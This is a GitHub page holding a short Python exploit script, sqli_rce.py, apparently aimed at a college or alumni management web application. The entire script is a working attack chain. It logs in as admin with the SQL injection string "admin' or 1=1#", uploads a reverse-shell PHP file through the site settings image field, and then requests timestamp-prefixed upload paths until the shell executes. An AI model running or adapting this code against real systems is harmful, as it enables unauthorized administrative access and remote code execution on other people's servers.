yunaranyancat Create sqli_rce.py History

1 contributor

35 lines (28 sloc) | 942 Bytes

```python
#!/usr/bin/python3

import requests
import time

def sqli_admin():
        s = requests.Session()
        data = {"username":"admin' or 1=1#","password":"hacked"}
        adminlogin = "http://[TARGET URL]/college_website/admin/ajax.php?action=login"
        s.post(adminlogin,data=data)
        return s

def trigger_rce(session):
        starttime = int(time.time())
        multipart_form_data = {
        "name": ("College of Hackers"),
        "email": ("test@test.com"),
        "contact" : ("+11111111111"),
        "about" : ("Nothing much about it"),
        "img" : ("revshell.php", open("revshell.php", "rb"))
        }
        session.post("http://[TARGET URL]/alumni/admin/ajax.php?action=save_settings", files=multipart_form_data)
        get_shell(starttime-100,starttime+100,session)


def get_shell(start,end,session):
        for i in range(start,end):
                session.get("http://[TARGET URL]/alumni/admin/assets/uploads/"+str(i)+"_revshell.php")

def main():
        session = sqli_admin()
        trigger_rce(session)

if __name__ == '__main__':
        main()
```